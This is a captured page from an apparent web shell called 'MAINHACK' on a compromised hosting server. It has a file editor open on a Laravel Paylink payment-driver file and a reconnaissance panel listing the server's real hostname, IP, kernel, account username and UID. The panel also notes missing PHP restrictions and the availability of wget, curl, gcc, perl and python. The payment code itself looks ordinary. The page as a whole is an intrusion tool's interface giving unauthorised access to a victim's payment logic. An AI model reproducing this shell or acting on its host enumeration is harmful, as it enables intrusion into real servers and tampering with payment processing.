[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Channel.php
<?php namespace App\PaymentChannels\Drivers\Paylink; use App\Models\Order; use App\Models\PaymentChannel; use App\PaymentChannels\BasePaymentChannel; use App\PaymentChannels\IChannel; use Illuminate\Http\Request; use Paylink\Client as PaylinkClient; class Channel extends BasePaymentChannel implements IChannel { protected $order_session_key; protected $currency; protected $client; protected $test_mode; protected $api_key; protected $api_secret; protected array $credentialItems = [ 'api_key', 'api_secret', ]; /** * Channel constructor. * @param PaymentChannel $paymentChannel */ public function __construct(PaymentChannel $paymentChannel) { $this->order_session_key = 'paylink.payments.order_id'; $this->currency = currency(); $this->setCredentialItems($paymentChannel); } private function handleClient() { // https://paylinksa.readme.io/docs/authentication $client = new PaylinkClient([ 'vendorId' => $this->api_key, 'vendorSecret' => $this->api_secret, 'persistToken' => true, // false by default if not given 'environment' => $this->test_mode ? 'testing' : 'prod', ]); $this->client = $client; } /** * @throws \Exception */ public function paymentRequest(Order $order) { $this->handleClient(); // Send purchase request try { $user = $order->user; $products = []; foreach ($order->orderItems as $orderItem) { $products[] = [ 'description' => 'Cart Item ' . $orderItem->id, 'imageSrc' => '', 'price' => $this->makeAmountByCurrency($orderItem->amount, $this->currency), 'qty' => 1, 'title' => 'Order ' . $orderItem->id, ]; } $data = [ 'amount' => $this->makeAmountByCurrency($order->total_amount, $this->currency), 'callBackUrl' => $this->makeCallbackUrl(), 'clientEmail' => $user->email, 'clientMobile' => $user->mobile, 'clientName' => $user->full_name, 'note' => 'This invoice is for client Cart.', 'orderNumber' => $order->id, 'products' => $products, ]; $response = $this->client->createInvoice($data); if ($response) { $transactionNo = $response['transactionNo']; session()->put($this->order_session_key, $transactionNo); return $response['url']; } } catch (\Exception $exception) { //dd($exception); throw new \Exception($exception->getMessage(), $exception->getCode()); } return null; } private function makeCallbackUrl() { return url("/payments/verify/Paylink"); } public function verify(Request $request) { $this->handleClient(); try { $user = auth()->user(); $transactionNo = session()->get($this->order_session_key, null); session()->forget($this->order_session_key); $response = $this->client->getInvoice($transactionNo); if (!empty($response) and !empty($response['gatewayOrderRequest'])) { $orderId = $response['gatewayOrderRequest']["orderNumber"]; $paymentStatus = $response['orderStatus']; $order = Order::where('id', $orderId) ->where('user_id', $user->id) ->first(); if (!empty($order)) { $status = Order::$fail; if ($paymentStatus == 'success') { $status = Order::$paying; } $order->update([ 'status' => $status ]); } return $order; } } catch (\Exception $exception) { //dd($exception); throw new \Exception($exception->getMessage(), $exception->getCode()); } return null; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285